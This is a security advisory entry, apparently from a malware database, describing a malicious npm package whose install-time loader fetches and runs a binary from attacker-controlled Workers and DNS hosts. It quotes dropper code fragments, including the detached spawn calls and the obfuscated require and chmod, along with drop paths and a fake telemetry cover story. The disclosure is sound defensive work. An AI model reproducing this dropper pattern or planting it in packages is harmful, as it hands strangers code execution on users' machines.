MAL-2026-13129 Malicious code in dolyame-boxy-mobile-bnpl-title (npm)

index.js unconditionally requires./setup on module load. setup.js branches on process.platform (linux/darwin/win32), fetches an opaque binary from Cloudflare Workers hosts whose names are assembled at runtime from split-string arrays joined together (oob-worker.cf103-070.workers.dev, oob-worker.cf101-adf.workers.dev, oob-worker.cf99-9b3.workers.dev), with a DNS TXT-record base64 fallback under .dl.wel1.ru (sdk.dl.wel1.ru, ext.dl.wel1.ru, pkg.dl.wel1.ru, net.dl.wel1.ru). The fetched bytes are written to /var/tmp/.cache_<hex> or %TEMP%\dotnet_diag_<hex>.exe, chmod 0755'd, and spawned detached via cp.spawn('/bin/sh',['-c',fp+' &'],{detached:true}) or cp.spawn('cmd.exe',['/c','start','/b',fp]). No pinning, no hash, no signature verification. Cover-story naming (file 'setup.js', state file '.analytics_state', dropped binary 'dotnet_diag_.exe', opt-out env vars DISABLE_TELEMETRY / ANALYTICS_OPT_OUT / DO_NOT_TRACK) frames the behavior as telemetry. lib/telemetry.js (~81 KB) ships the same dropper runtime (Buffer.from(chunks,'base64'); fs['chmod'+'Sync'](path, mode | parseInt('755',8)); cp.spawn('/bin/sh',['-c',filePath+' &']); require('child_'+'process')) though not wired into the current load path. Requiring this package results in arbitrary attacker-controlled code executing on the installer's host with the user's privileges.